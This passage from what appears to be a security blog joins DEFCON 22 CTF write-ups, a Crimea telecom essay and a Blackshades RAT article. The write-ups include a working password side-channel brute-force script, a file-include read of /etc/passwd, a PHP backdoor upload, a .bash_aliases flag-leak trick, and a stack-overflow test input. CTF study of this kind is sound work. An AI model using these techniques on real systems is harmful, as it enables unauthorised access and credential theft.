0000250: 2020 2020 2001 0a24 200a 2020 2020 2020       ..$ .
0000260: 2020 2020 2020 2020 2020 2020 2020 2020

Remember, that ‘a’ was actually the first character of our password locally and we still got a 0x1 back. How about ‘b’?

shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\nb' + ''*79 + '\n')" | ./shitsco |xxd
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2062 2020 2020 2020 2020 2020  sn't b
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
0000250: 2020 2020 20ff ffff ff0a 2420 0a20 2020       .....$ .
0000260: 2020 2020 2020 2020 2020 2020 2020 2020

Bingo. Here we have a value of 0xffffffff for var_14. Therefore, we know that the string we sent in is numerically higher than the actual password. The last character we tried, ‘a’, was still giving us back 0x01. When we see the value of var_14 change to -1 we know that the correct character was not the most recent attempt but the one prior to it. We can send all characters sequentially until we find the password.

Automation

The password used on the remote server is probably short enough that we could disclose it by hand. However, as a general rule in life, if I have to do something more than a few times I almost always save time by writing a quick python script to automate. Since we are going to be running this on a remote target I’ve set the server to run over a TCP port with some fancy piping over a fifo pipe.

shitsco@ubuntu:~$ mkfifo pipe
shitsco@ubuntu:~$ nc -l 31337 < pipe | ./shitsco > pipe

Here is a python script that will discover the password used. I’ve changed the password file on my local system to the one that was used during the game:

import socket
import string
import sys

s=socket.socket()

s.connect(("192.168.1.151", 31337))
s.recv(1024)

def try_pass(passwd):
s.send("enable\n")
s.recv(1024)
s.send(passwd + "\n")
ret = s.recv(1024)
if ret.find("Authentication Successful") != -1:
return "!"
return ret[ret.find("$")-2]

chars = []
for x in string.printable:
chars.append(x)
chars.sort()

known = ""
while 1:
prev = chars[0]
for x in chars:

i = try_pass(known + x + "" * (30-len(known)))
if ord(i) == 0xff:
known += prev
break
prev = x

i = try_pass(known[:-1]+x+"\x00")
if i == '!':
print "Enable password is: %s" % (known[:-1]+x)
sys.exit()

Running the script produces the output:

$ python shitsco.py
Enable password is: bruT3m3hard3rb4by

Excellent, let’s connect to the service with netcat and retrieve the flag:

$ nc shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me 31337

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
       888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ enable bruT3m3hard3rb4by
Authentication Successful
# flag
The flag is: 14424ff8673ad039b32cfd756989be12

All that’s left to do is submit the flag and score points!

I’ll be posting another challenge and solution from the CTF soon, so if you found this one interesting, be sure to check back for more.

Much of the discussion around cyber security of critical infrastructure focuses on the debilitating impact of a cyber attack on a country’s energy, economic, and transportation backbone. But Russia’s recent actions suggest an elevation of telecommunications as the most critical of all infrastructures—and the one it deems most worthy of protecting, not only because of the risks it may face, but also because of its potential as a mechanism for advancing national interests.

In March 2014, cyber attacks between Russia and Ukraine began when unknown hackers attacked Russian central bank and foreign ministry websites, and Ukrainian government websites were hit by an onslaught of 42 attacks during the Crimean vote for secession. Amid this back-and-forth volley of cyber attacks, Russia has quickly and quietly invested almost $25 million to provide Internet and telecom infrastructure in Crimea by deploying a fiber-optic submarine telecom link between the mainland and its newest territory. Rather than focusing on switching water, transportation, or electricity to Russian infrastructure, it has prioritized the establishment of telecommunications networks, turning this critical infrastructure into a tactic in and of itself.

By owning the telecom connections into Crimea, Russia ensures security for its communications there and eliminates Ukrainian disruptions. Russia’s telecom investments suggest that in the 21st century, national priorities in times of conflict have been reorganized around the assurance of secure telecommunications even before the assurance of traditional critical infrastructure security.

The threats to critical infrastructure are real and significant, but this prioritization of telecommunications as a tool of international relations suggests that we should pay attention not only to the cyber security risks to critical infrastructure, but also to how countries are using this very infrastructure as a tactic during times of conflict.

“Blackshades is so 2012” is the near response I received when I mentioned to a friend the recent FBI takedown of almost 100 Blackshades RAT dealers. This nonchalant, almost apathetic attitude towards older malware struck a nerve with me, since I’ve known network defenders and incident responders with the same sentiment. If the malware isn’t fresh, or if it’s perceived as old, they don’t want any part of it. While that attitude isn’t necessarily the norm, it does serve as a reminder that malware never truly dies–it just keeps on compromising. In fact, more than a half million computers in over 100 countries were reportedly recently infected by the Blackshades malware.

The FBI arrests are indicative of the omnipresence of malware even after it has been identified. In addition to the arrests, the FBI seized more than 1,900 domains used by Blackshades users to control their victims’ computers. Despite these seizures, countless systems from around the globe continue to attempt connections with their respective Blackshades Command and Control (CnC) domains. And there’s really no telling how many people have a copy of the RAT. Blackshades has been around for a while, and with a sales price of $40, it’s also quite affordable–not to mention the fact that the source code was leaked in 2010. It seems likely that there are a number of Blackshades RAT controllers still at large.

What does Blackshades actually do? Just about anything the controller wants. Lately, the news around Blackshades has focused on its use as “Creepware,” in which a victim’s webcam is turned on remotely. But the RAT can do much more than that. For example, a couple of years ago the Blackshades Stealth version advertised the following capabilities:

• General Computer Information (local IP, username, operating system (OS), uptime, webcam, etc.)
• Screen, Webcam, and Voice Capture
• Keylogger, File Manager, Processes, Password Recovery, Ping
• Download and Execute, Shell, Maintenance (reconnect, close, restart, uninstall)
• Open Windows (shows what applications are open)
• Mac Compatible Client

There were other versions, too. The Blackshades Radar, for example, advertised the ability to set keywords to listen for in either the window title or written text. This would then trigger a key-logger to start logging keystrokes for a controller-specified amount of time, and the data collected would be sent back to the controller via email. This capability helped attackers pinpoint and exfiltrate a desired set of data, without a lot of excess key-logged chaff. Blackshades Recover advertised the ability to collect passwords, CD keys, and product keys for hundreds of popular software applications. And Blackshades Fusion advertised its ability to incorporate many of the previously described functions.

With such an impressive resume of capabilities, it’s no wonder the Syrian government used Blackshades, along with RAT-siblings Dark Comet and Gh0stRAT, against Syrian activists in early 2012. And even though that campaign may also be “so 2012” to some, the well-reported CnC domain used (alosh66(dot)servecounterstrike(dot)com) is still very much alive and kicking. In fact, according to various sources, there have been over 21,000 connection attempts for the domain this year from several countries around the globe, including from the U.S., with the majority coming from a Syrian Internet Service Provider. If this number for alosh66(dot)servecounterstrike(dot)com is accurate, and if that number holds true for the 1,900 domains ceased by the FBI, that would equate to potentially 39,879,000 connection attempts to Blackshades CnC domains since January 1, 2014. Fortunately, the domain has essentially been terminated, as it has been resolving to 0.0.0.0 since 2012, but it’s possible that the controller could have reconfigured those systems to communicate via a different CnC domain, meaning all of the aforementioned systems could be actively infected.

While the exact number of infected systems cannot be determined, the recent arrests illustrate the longevity of malware. The cybercrime landscape not only includes new and emerging threats, but also requires constant assessment of older malware. Regardless of how many systems are infected by the Blackshades RAT, the FBI arrests truly highlight the fact that the war on cybercrime is in full swing.

This is my second post in a series on DEFCON 22 CTF Qualifications. Last time I examined a problem called shitsco and gave a short overview of CTF. This week, I’d like to walk you through another DEFCON Qualification problem: “nonameyet” from HJ. This problem was worth 3 points and was opened late in the game. It was solved by 10 teams but, sadly, my team, Samurai, was not one of them. I managed to land this one about an hour after the game ended. It’s a common theme among CTF players that they don’t stop after the game ends. There’s always some measure of personal pride on the line when it comes to solving these problems, regardless of points earned.

The problem description for nonameyet is:

I claim no responsibility for the things posted here. nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me:80

There is no download link provided and the service is running on port 80. We are to assume that this is a web challenge. Browsing to the web application I see that it allows users to upload photos to a /photos directory, hence the disclaimer in the problem description. Whenever a file upload capability is involved in a CTF web challenge, you can bet that it will be a source of a vulnerability. I have yet to see a web application problem in a CTF that provided a counter example.

One of the URLs for the web application looked like this:

http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=xxxxxxx

When I see page=xxxxxxx referencing a filename there is potential for a local file include vulnerability. Indeed, if I visit:

http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=/etc/passwd

I am able to view the shadowed password file on the server. So far, so good. Unfortunately, asking for the flag file directly yields an error. Of course, a 3 point problem would never be so easy in this CTF. Let’s turn our attention back to the file upload.

The page with the HTML for the upload form is upfile.html. This is loaded with a “?page=upfile.html” on the end of the URL. Examining the HTML source code on this file shows that our form data is submitted to /cgi-bin/nonameyet.cgi. We can recover this CGI program with a simple wget command:

 $ wget http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php\?page\=cgi-bin/nonameyet.cgi

$ file nonameyet.cgi

nonameyet.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped

You can find a copy of nonameyet.cgi here

More interestingly, it is also possible to use the upload form to upload anything at all. This just begs to have a PHP backdoor uploaded to the system. We put a simple PHP file manager onhttp://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me...and used that to look around the directory structure and permissions placed on the files. Specifically, we could see that the /home/nonameyet/flag file was owned by nonameyet:nonameyet. I need to gain execution as this user to retrieve the flag. The web server executing the PHP scripts (including our backdoor) was running as the web server user.

It is important to note that getting a shell on a box provides an opportunity for many new attack vectors. For this problem, it was actually solved by other teams editing the file /home/nonameyet/.bash_aliases to include an alias that would copy the /home/nonameyet/flag file to /tmp with world readable permissions. The next time anyone popped a shell on this box and ran “ls” they would hand the flag over to another team. This was a very clever and devious thing to do—and in some sense, this is what CTF is all about.

I believe that having this file editable was an oversight on the part of the organizers. This file should not have been writeable. It was a great advantage for the teams that realized this mistake because they were free to look at other problems while waiting for someone else to come along and solve it the “legitimate” way. Furthermore, anyone that thought to look in /tmp before the flag was cleaned up could score points too. Lesson learned: Always poke around more and possibly set up some sort of monitoring for these kinds of issues. I wish I had thought of this first!

Binary Analysis

I went straight for the binary in the problem. The binary was not marked SUID so there must be some webserver magic launching the CGI program as the nonameyet user. Indeed, HJ confirmed that he was using a modified version of suexec after the game. I have already run a file command to see that the CGI program is an ELF 32-bit program. My usual next step is to run strings.

$ strings nonameyet.cgi
…

I see imports for C functions related to string parsing and file operations including dangerous APIs like strcpy() and sprintf(). I see a list of the errors the CGI program will return and input variables like photo, time, and date. There are some chunks of HTML and HTTP headers too. So far, it is a fairly typical CGI program. If you try to run it you will get an error 900 printed out to you with HTML tags. A quick strace shows that it is looking for the photos directory. Create this directory and you will move on to the program prompting you for input. Just enter ^D to signal an end of file and you will receive an error 902. Back to the strings. One string that really caught my eye was the “cgilib” string. This is indicative of a cgilib library. There were other strings that pointed to a library as well, such as the “/tmp/cgilibXXXXXX” string.

Cgilib is a “library [that] provides a simple and lightweight interface to the Common Gateway Interface (CGI) for C and C++ programs. Its purpose is to provide an easy to use interface to CGI for fast CGI programs written in the C or C++ programming language.” It is also an open source project. We can see from the output of the file command that the nonameyet.cgi program is dynamically linked, so let’s take a quick peek with ldd to see if cgilib is statically compiled into the binary or dynamically loaded at runtime from our system library.

$ ldd nonameyet.cgi
    linux-gate.so.1 =>  (0xb77dd000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761e000)
    /lib/ld-linux.so.2 (0xb77de000)

We do not see cgilib on the list returned form ldd, so the cgilib library is statically linked. That is to say that if the cgilib binary is used in this program, it must have been compiled into the binary, which means that I could have source code for a good chunk of this problem. That would be a great aid in the reverse engineering process. One way to match up statically compiled libraries into CTF binaries is to use the IDA Pro FLAIR tool to generate a FLIRT signature that can be applied to the binary.

Which version of the library should I grab? The reverse lookup on the IP address used for this problem pointed to an Amazon EC2 server. I created an EC2 instance running the latest version of Ubuntu and applied all updates. It is important to mirror the game box as closely as possible. It is even better if we can run from the same ISP. I installed cgilib with this command:

$ sudo apt-get install cgilib

This added a file in /usr/lib/cgilib.a. I pulled this file back to my analysis machine with FLAIR installed and ran:

C:\> pelf -a libcgi.a
C:\> sigmake -n "libcgi" libcgi.pat libcgi.sig

The first command “pelf” will parse the library file and generate patterns for all exported symbols. The output of the command is put into the libcgi.pat file. The next “sigmake” command will read from the libcgi.pat file and create a binary representation that is output in the libcgi.sig file. This sig file can then be copied into the IDA Pro /sig directory and applied to a live database. All of this completely failed. No symbols were applied. I have not identified why. Bummer.

Thankfully, the library is very simple and almost all of the functions contain unique strings. We can download the source code for libcgi, find a function we are interested in, find a string used in that function, then find the same string in IDA Pro. Once we find the string in IDA we can press ‘x’ while the cursor is positioned on that string to find cross-references. If we follow the (hopefully) single cross-reference that exists, we can then name the function referencing that string as it is named in the source code for cgilib. It is a bit slower than FLIRT signatures but we will be able to flag a significant portion of the program as “uninteresting” right away. For example, if we look at the cgiReadFile function in the cgilib source code cgilib-0.7/cgi.c:

char *cgiReadFile (FILE *stream, char *boundary)
{
    char *crlfboundary, *buf;
    size_t boundarylen;
    int c;
    unsigned int pivot;
    char *cp;
    char template[]= "/tmp/cgilibXXXXXX";
    FILE *tmpfile;
    int fd;

We can then find the /tmp/cgilibXXXXXX string in IDA Pro with a “search sequence of bytes”.

This will fail! As it turns out, there is a compiler optimization used on this function causing the string to be loaded as an immediate value on the stack. This is also sometimes used in programs that want to make string analysis more difficult on the reverse engineer. Indeed, if we go back and look at the string output our first clue is there:

~$ strings nonameyet.cgi
…
/tmp
/cgi
libX
XXXXf
…

They are broken up into groups of 4. This is because they are referenced as immediate DWORD values being moved into memory. Let’s repeat the search using a smaller string. If we search for “/tmp” we see exactly one spot in the binary where this appears. Here is how IDA shows the string data being loaded onto the stack:

We can now go to the top of this function and name it (‘n’ key) “cgiReadFile.” If you go through the rest of cgi.c you will end up with the following functions named:

The function named cgi_print (my name, not the cgilib name) is frequently called to output error messages that would be useful for debugging purposes. A quick look at this function reveals that if we set dword_804f0dc (normally 0 in the .bss) to something greater than arg0 (I assume this is a logging level?) we can get debugging output from the binary. In gdb the command to do this is:

int __usercall main@<eax>(char *a1@<esi>)
{
  int result; // eax@2
  void *v2; // eax@15
  int v3; // [sp+1Ch] [bp-4Ch]@1
  int v4; // [sp+20h] [bp-48h]@9
  int v5; // [sp+24h] [bp-44h]@5
  int v6; // [sp+28h] [bp-40h]@9
  int v7; // [sp+2Ch] [bp-3Ch]@5
  int v8; // [sp+30h] [bp-38h]@9
  int v9; // [sp+34h] [bp-34h]@5
  int v10; // [sp+38h] [bp-30h]@9
  int v11; // [sp+3Ch] [bp-2Ch]@5
  int v12; // [sp+40h] [bp-28h]@9
  int v13; // [sp+44h] [bp-24h]@5
  int v14; // [sp+48h] [bp-20h]@9
  size_t file_size; // [sp+4Ch] [bp-1Ch]@1
  const void *v16; // [sp+50h] [bp-18h]@1
  void *s_cgi; // [sp+54h] [bp-14h]@1
  int photo; // [sp+58h] [bp-10h]@1
  int v19; // [sp+5Ch] [bp-Ch]@1

  v16 = 0;
  file_size = 0;
  s_cgi = 0;
  photo = 0;
  v19 = 0;
  memset(&v3, 0, 0x30u);
  s_cgi = cgiInit();
  v19 = open("./photos", 0);
  if ( v19 == -1 )
  {
    write_headers();
    printf("<p>ERROR: 900</p>");
    result = 0;
  }
  else if ( fchdir(v19) == -1 )
  {
    write_headers();
    printf("<p>ERROR: 901</p>");
    close(v19);
    result = 0;
  }
  else
  {
    close(v19);
    photo = cgiGetFile((int)s_cgi, "photo");
    v3 = cgiGetValue((int)s_cgi, "base");
    v7 = cgiGetValue((int)s_cgi, "time");
    v9 = cgiGetValue((int)s_cgi, "date");
    v11 = cgiGetValue((int)s_cgi, "pixy");
    v13 = cgiGetValue((int)s_cgi, "pixx");
    v5 = cgiGetValue((int)s_cgi, "genr");
    if ( photo )
    {
      if ( !v3 )
        v3 = *(_DWORD *)(photo + 8);
      v4 = urldecode(v3);
      v8 = urldecode(v7);
      v6 = urldecode(v5);
      v10 = urldecode(v9);
      v12 = urldecode(v11);
      v14 = urldecode(v13);
      v16 = read_file(*(char **)(photo + 12), (int)&file_size);
      if ( v16 )
      {
        if ( file_size )
        {
          if ( (interesting((int)&file_size, a1, (int)&v3) & 0x80000000) == 0 )
          {
            v2 = base64encode(v3, v4);
            combine_strings("Cookie", v2);
            write_headers();
            cgiFree(s_cgi);
            v19 = open((const char *)v3, 66, 420);
            if ( v19 == -1 )
            {
              printf("<p>ERROR: 906</p>", v3);
            }
            else
            {
              write(v19, v16, file_size);
              close(v19);
            }
            printf("<meta http-equiv='refresh' content='0;url=../thanks.php'>");
            result = 0;
          }
          else
          {
            write_headers();
            printf("<p>ERROR: 905</p>");
            result = 0;
          }
        }
        else
        {
          write_headers();
          printf("<p>ERROR: 904. Why the hell would you give me an empty file</p>");
          result = 0;
        }
      }
      else
      {
        write_headers();
        printf("<p>ERROR: 903</p>");
        result = 0;
      }
    }
    else
    {
      write_headers();
      printf("<p>ERROR: 902</p>");
      result = 0;
    }
  }
  return result;
}

When looking at a CTF problem, you should always be asking yourself “What is happening with my input?” Most of the parsing happens right up front in the cgiInit() function. This function will read and parse CGI input and set up the s_cgi structure. This function first checks for the environment variable CONTENT_TYPE. CGI input is usually passed via environment variables and stdin from the webserver. If this environment variable is not set then the program will read variables from stdin.

If the CONTENT_TYPE variable is set to “multipart/form-data” it will parse out a boundary condition from the variable and call off into the cgiReadMultipart() function before returning. If the CONTENT_TYPE variable is anything else, the program then looks for the REQUEST_METHOD and CONTENT_LENGTH environment variables.

For a REQUEST_METHOD of “GET” the environment variable QUERY_STRING is parsed and for a REQUEST_METHOD of “POST” stdin is parsed. If none of these are specified then the cgiReadVariables() function will prompt for input from the command line. This is very handy for quick testing. The cgiInit() function will also parse cookie information. All of this was learned by reading the cgilib source code for cgiInit().

We have five code paths for parsing our input: multipart, get, post, stdin, and cookies. All of these are standard in cgilib. Which code path should we explore first? Let’s start with the simplest form, no environment variables, and data parsed directly from stdin.

$ python -c "print 'asdf=asdf'" | ./nonameyet.cgi
	(offline mode: enter name=value pairs on standard input)
	Content-type: text/html<p>ERROR: 902</p>

Here we just set a variable asdf = asdf and we are returned error 902, the same as if we passed in no input. Looking back to main() we can easily spot where “ERROR: 902” is printed inside of an else block. Look up to the if condition on that else block and we see that this is because photo = cgiGetFile((int)s_cgi, “photo”); returned NULL. Setting the photo variable from stdin also produces the same error. The cgiGetFile() call did not find a variable called photo registered in the s_cgi structure. There is another interesting behavior here if we set the same variable twice:

$ python -c "print 'asdf=asdf\nasdf=asdf'" | ./nonameyet.cgi
	(offline mode: enter name=value pairs on standard input)
	Segmentation fault (core dumped)

Crashes are usually really good in a CTF competition. Going into this with a debugger we find:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi
(offline mode: enter name=value pairs on standard input)
asdf=asdf
asdf=asdf

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x4
ECX: 0xb7fcf448 --> 0x8050080 --> 0x66 ('f')
EDX: 0x8050078 ("asdf\nasdf")
ESI: 0x0
EDI: 0x805008d --> 0x0
EBP: 0xbffff668 --> 0xbffff698 --> 0xbffff708 --> 0x0
ESP: 0xbffff590 --> 0x0
EIP: 0x804bb5d (mov    edx,DWORD PTR [eax+0x4])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804bb52:   shl    eax,0x2
   0x804bb55:   add    eax,DWORD PTR [ebp-0x84]
   0x804bb5b:   mov    eax,DWORD PTR [eax]
=> 0x804bb5d:   mov    edx,DWORD PTR [eax+0x4]
   0x804bb60:   mov    eax,DWORD PTR [ebp-0x98]
   0x804bb66:   shl    eax,0x2
   0x804bb69:   add    eax,DWORD PTR [ebp-0x84]
   0x804bb6f:   mov    eax,DWORD PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xbffff590 --> 0x0
0004| 0xbffff594 --> 0x804d483 ("%s\n%s")
0008| 0xbffff598 --> 0x8050058 --> 0x0
0012| 0xbffff59c --> 0x8050088 --> 0x8050050 --> 0x0
0016| 0xbffff5a0 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f
0020| 0xbffff5a4 --> 0x3
0024| 0xbffff5a8 --> 0x0
0028| 0xbffff5ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804bb5d in ?? ()
gdb-peda$

I should mention that I am using PEDA with GDB. It makes exploit development tasks a lot easier than standard GDB. I encourage you to check it out and explore how it works. Anyway, this is a NULL pointer dereference crash. The register EAX is being dereferenced. EAX is NULL. As a result, the program sends a signal 11 or SIGSEGV and we terminate execution. The buggy code seems to be in cgilib/cgi.c on line 644 when they attempt to do:

644:	cgiDebugOutput (1, "%s: %s", result[i]->name, result[i]->value);

It looks to me like they used the incorrect index into the result array. There is another index counter called k used earlier in the code that accounts for duplicate variable name. My guess is that this line was simply copy and pasted from line 630 and the developers did not change ‘i’ to ‘k’. Either way, I am not sure if a web server would ever generate input to a CGI program like this, and unless we can somehow allocate the NULL address space on the remote server, this is not likely to be an interesting crash when solving the CTF problem. Interesting, but ultimately useless.

Back to our problem. The photo variable is NULL. Looking back in cgi.c source code for cgiGetFile() it is easy to spot that this information comes from s_cgi->files. Ok, that makes sense. However, the only code path that sets this information is when we have a CONTENT_TYPE of “multipart/form-data”. This was discovered with a quick grep for “->files” in the cgilib source code to find something that writes to this variable. The one place this happens is in the cgiReadMultipart() function. Let’s jump into feeding this program multipart data.

I used Wireshark to perform a packet capture on the data that was being sent by my browser when submitting a form to nonameyet.cgi. After all, the browser should already generate everything we need. With a quick copy and paste and setting up lines to end with \r\n instead of \n I now have the following setup to get multipart data parsed by the CGI program:

$ export CONTENT_TYPE="Content-Type: multipart/form-data; boundary=---------------------------13141138687192"

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="test"
Content-Type: application/octet-stream

test

-----------------------------13141138687192--

Remember each line ends with \r\n. After I set up the formdata file and my environment variable, let’s see if we can get past that error 902 output. I will also turn on the debug output with the debugger after breaking on main():

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ break *0x0804906D
Breakpoint 1 at 0x804906d
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata
Breakpoint 1, 0x0804906d in ?? ()
gdb-peda$ set {int}0x804F0DC=1000
gdb-peda$ c
Continuing.
Content-Type: Content-Type: multipart/form-data; boundary=---------------------------13141138687192
Read line '-----------------------------13141138687192'
Read line 'Content-Disposition: form-data; name="photo"; filename="test"'
Found field name photo
Found filename test
Read line 'Content-Type: application/octet-stream'
Found mime type application/octet-stream
Read line ''
Wrote photo (test) to file: /tmp/cgilibWFDOKJ
Read line '-----------------------------13141138687192'
photo found as test
Content-type: text/html
Cookie: YmFzZQA=<meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 7579) exited normally]

That looks pretty good! In truth, it took a bit of playing around to get to this point. Now we have everything specified in our form being read. The file contents were written and parsed and if we look in the /photos directory we see a file named base with the contents test:

$ ls photos/
base
$ cat photos/base
test

Where is the bug? If you look back up in the main() function you will see a subroutine I labeled “interesting”. The only way to get to this function is to have a valid photo returned from cgiGetFile(). Here is the decompiled source code for the interesting function:

unsigned int __usercall interesting@<eax>(int edi0@<edi>, char *a2@<esi>, int a1)
{
  unsigned int result; // eax@1
  void *v4; // esp@2
  char v5; // bl@3
  int v6; // edx@3
  int v7; // ecx@3
  void *v8; // esp@4
  int v9; // ecx@7
  unsigned int v10; // ecx@8
  void *v11; // edi@9
  unsigned int v12; // ecx@11
  void *v13; // edi@12
  unsigned int v14; // ecx@14
  void *v15; // edi@15
  unsigned int v16; // ecx@17
  void *v17; // edi@18
  unsigned int v18; // ecx@20
  void *v19; // edi@21
  int v20; // eax@25
  int v21; // [sp+0h] [bp-20h]@2
  unsigned int counter_1; // [sp+8h] [bp-18h]@1
  const void *esp_ptr; // [sp+Ch] [bp-14h]@2
  int file_name_size; // [sp+10h] [bp-10h]@2
  int filename; // [sp+14h] [bp-Ch]@2
  int type_mult_2; // [sp+18h] [bp-8h]@2
  int counter; // [sp+1Ch] [bp-4h]@1

  result = 0;
  counter = 0;
  counter_1 = 0;
  if ( a1 )
  {
    file_name_size = *(_DWORD *)(a1 + 4);
    type_mult_2 = 2 * file_name_size;
    v4 = alloca(2 * file_name_size);
    esp_ptr = &v21;
    filename = *(_DWORD *)a1;
    while ( 1 )
    {
      while ( 1 )
      {
        v5 = *(_BYTE *)(counter + filename);
        v6 = counter++ + filename + 1;
        v7 = type_mult_2;
        if ( type_mult_2 <= (signed int)counter_1 )
        {
          v8 = alloca(type_mult_2);
          qmemcpy(&v21, &v21, type_mult_2);
          a2 = (char *)&v21 + v7;
          edi0 = (int)((char *)&v21 + v7);
          esp_ptr = &v21;
          type_mult_2 *= 2;
        }
        if ( v5 != '%' || *(_BYTE *)(v6 + 4) != '%' )
        {
          *((_BYTE *)esp_ptr + counter_1++) = v5;
          goto LABEL_24;
        }
        v9 = *(_DWORD *)v6;
        v6 += 5;
        counter += 5;
        if ( v9 != 'rneG' )
          break;
        v10 = *(_DWORD *)(a1 + 12);
        a2 = *(char **)(a1 + 8);
        if ( a2 )
        {
          v11 = (char *)esp_ptr + counter_1;
          counter_1 += v10;
          qmemcpy(v11, a2, v10);
          a2 += v10;
          edi0 = (int)((char *)v11 + v10);
LABEL_24:
          if ( file_name_size <= counter )
          {
            v20 = mmap(v6, edi0, (int)a2);
            qmemcpy((void *)v20, esp_ptr, counter_1);
            *(_DWORD *)a1 = v20;
            result = counter_1;
            *(_DWORD *)(a1 + 4) = counter_1;
            return result;
          }
        }
      }
      switch ( v9 )
      {
        case 'emiT':
          v12 = *(_DWORD *)(a1 + 20);
          a2 = *(char **)(a1 + 16);
          if ( a2 )
          {
            v13 = (char *)esp_ptr + counter_1;
            counter_1 += v12;
            qmemcpy(v13, a2, v12);
            a2 += v12;
            edi0 = (int)((char *)v13 + v12);
            goto LABEL_24;
          }
          break;
        case 'etaD':
          v14 = *(_DWORD *)(a1 + 28);
          a2 = *(char **)(a1 + 24);
          if ( a2 )
          {
            v15 = (char *)esp_ptr + counter_1;
            counter_1 += v14;
            qmemcpy(v15, a2, v14);
            a2 += v14;
            edi0 = (int)((char *)v15 + v14);
            goto LABEL_24;
          }
          break;
        case 'YxiP':
          v16 = *(_DWORD *)(a1 + 36);
          a2 = *(char **)(a1 + 32);
          if ( a2 )
          {
            v17 = (char *)esp_ptr + counter_1;
            counter_1 += v16;
            qmemcpy(v17, a2, v16);
            a2 += v16;
            edi0 = (int)((char *)v17 + v16);
            goto LABEL_24;
          }
          break;
        case 'XxiP':
          v18 = *(_DWORD *)(a1 + 44);
          a2 = *(char **)(a1 + 40);
          if ( a2 )
          {
            v19 = (char *)esp_ptr + counter_1;
            counter_1 += v18;
            qmemcpy(v19, a2, v18);
            a2 += v18;
            edi0 = (int)((char *)v19 + v18);
            goto LABEL_24;
          }
          break;
      }
    }
  }
  return result;
}

There are a few things that jump out at me right away. The first is the use of the alloca() function. The man page for alloca states “The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary space is automatically freed when the function that called alloca() returns to its caller.” Thus, we are dynamically growing the stack based upon file_name_size. This function call ends up being just a “sub esp” instruction in the assembly code, so don’t expect to see an import to alloca in the ELF header.

The next thing I notice are the case statements looking for 4 character string patterns of: Genr, Time, Date, PixY, and PixX. IDA shows these in little endian (backwards) format. The program checks for % characters in the filename input that are followed by another % character 4 character later. Thus, we are looking for DOS style variables like %Genr%. It turns out all of these variables are passed in as the third argument to the interesting function.

They are built into a structure that is 0x30 bytes long. First the sizes are built with calls to v3 = cgiGetValue((int)s_cgi, “base”); and the like. Then the strings for the variables are built immediately before the sizes. The IDA decompilation of the main function does not identify this as a structure. However, the memset(&v3, 0, 0x30u); and the fact that only v3 is passed into a function that clearly needs all of these variables is a big clue that this is a structure, or an array of structures, instead of 12 individual variables. The v3 variable in main() (or a1 in interesting()) ends up looking like this:

struct v3 {
	char * filename;
	unsigned int file_name_size;
	char * genr_str;
	unsigned int genr_size;
	char * time_str;
	unsigned int time_size;
	char * date_str;
	unsigned int date_size;
	char * pixy_str;
	unsigned int pixy_size;
	char * pixx_str;
	unsigned int pixx_size;
};

Have you spotted the bug yet? If not, go back to what is happening with our input in the interesting function. We pass this structure into our function, alloca (file_name_size * 2) and then what? We start copying into this array. It’s the qmemcpy calls that are in question here. These are presented in assembly as rep movsb instructions. Ask yourself how much data is being copied and what is the size of the destination buffer? Do you control the data being copied into the buffer? What variables are being updated in the loops to affect the starting offsets of the copy? Study the code and see if you can answer some of these questions. Do it now, I will wait.

Vulnerability Discovery

What you might notice is that after the program takes the length of file_name, doubles it, and allocates that amount of space on the stack, it will then proceed to copy in the values for the other variables from the structure. For example, if I set the filename “foobar” (name=”photo”; filename=”foobar” in my formdata file) and then if I set the Time input to be AAAAAA the CGI program will allocate 14 bytes on the stack (length of “foobar\0” * 2) and then copy in the value of the %Time% variable, which would also be 6 bytes. This will be clearer when looking at the actual input file.

The bug comes in if we make the length of Time larger than the length of file_name while having file_name reference %Time%. There is no check to see if we have enough stack space left. This is a stack overflow. The only issue is that if we try to encode a %Time% variable directly into the file_name then the program never gets to the interesting function! For clarity, this is what the formdata file looks like now for testing:

-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%Time%"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
-----------------------------13141138687192
Content-Disposition: form-data; name="Time"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----------------------------13141138687192--

